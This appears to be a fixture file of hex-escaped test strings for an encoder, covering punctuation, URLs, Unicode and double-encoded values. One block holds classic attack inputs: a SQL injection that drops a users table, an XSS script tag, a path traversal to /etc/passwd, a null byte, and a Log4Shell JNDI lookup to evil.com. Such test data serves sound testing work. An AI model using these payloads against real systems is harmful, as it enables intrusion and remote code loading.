abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
()\x5b\x5d\x7b\x7d\x3c\x3e
\x2b-*\x2f\x3d\x25\x5e
.\x2c!\x3f\x3a\x3b'\x22
\x40\x23\x24\x26_~\x60\x7c\x5c

hello\x20world
test\x20string
simple-test

path\x2fto\x2fresource
query\x3fparam\x3dvalue
anchor\x23section
email\x40example.com
array\x5b0\x5d
protocol\x3a\x2f\x2fhost

key\x3dvalue\x26another\x3dtest
first\x3bsecond\x3bthird
item\x2citem\x2citem
name\x3avalue
path\x2fto\x2ffile.txt

Hello\x20World!
What's\x20happening\x3f
100\x25\x20complete
\x2450\x20price\x20tag
Amount\x3a\x20\x24100
It's\x20a\x20test\x20(with\x20parentheses)
Star\x20*\x20asterisk
Plus\x20\x2b\x20sign

100\x25
\x3chtml\x3e
data\x26more\x26data
file\x20path\x20with\x20spaces
parameter\x3dvalue\x26other\x3ddata

caf\xc3\xa9
na\xc3\xafve
se\xc3\xb1or
\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e
\xf0\x9f\x9a\x80
r\xc3\xa9sum\xc3\xa9
Z\xc3\xbcrich

\x2f
\x2f\x2f
\x2f\x2f\x2f
\x3f
\x26
\x3d
\x25
\x25\x25

\x20
\x20\x20\x20\x20

'\x3b\x20DROP\x20TABLE\x20users--
\x3cscript\x3ealert('xss')\x3c\x2fscript\x3e
..\x2f..\x2f..\x2fetc\x2fpasswd
\x2500null
\x24\x7bjndi\x3aldap\x3a\x2f\x2fevil.com\x7d

this-is-a-very-long-string-that-might-be-used-to-test-buffer-handling-and-performance-characteristics-of-the-encoder
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

user\x40domain.com\x3fredirect\x3dhttps\x3a\x2f\x2fexample.com\x2fpath\x3fquery\x3dvalue\x26other\x3ddata
https\x3a\x2f\x2fexample.com\x2fsearch\x3fq\x3dhello\x20world\x26lang\x3den\x26sort\x3ddate
\x2fapi\x2fv1\x2fusers\x3ffilter\x5bname\x5d\x3dJohn\x20Doe\x26include\x3dposts\x2ccomments

hello\x2520world
100\x2525
caf\x25C3\x25A9

line1\x5cnline2
col1\x5ctcol2

~tilde
\x60backtick
\x5ecaret
\x7bcurly\x7d
\x7cpipe\x7c

\x22double\x20quotes\x22
'single\x20quotes'
it's
\x22mixed\x20'quotes'\x20test\x22

2\x2b2\x3d4
x\x5e2
\x24100
\xe2\x82\xac50
\xc2\xa330
\xc2\xa51000

\x2fusers\x2f123\x2fposts\x2f456
\x2fsearch\x3fq\x3dtest\x2bquery
\x2fpath\x2fto\x2fresource.html\x3fparam1\x3dvalue1\x26param2\x3dvalue2
http\x3a\x2f\x2fexample.com\x3a8080\x2fpath
ftp\x3a\x2f\x2ffiles.example.com\x2fdocument.pdf

!!!
\x3f\x3f\x3f
...
---
___
\x3d\x3d\x3d

(parentheses)
\x5bsquare\x20brackets\x5d
\x7bcurly\x20braces\x7d
\x3cangle\x20brackets\x3e

\x5cr\x5cn
\x5ct\x5ct\x5ct
\x5c0

\x252520
\x25253A
\x25252F
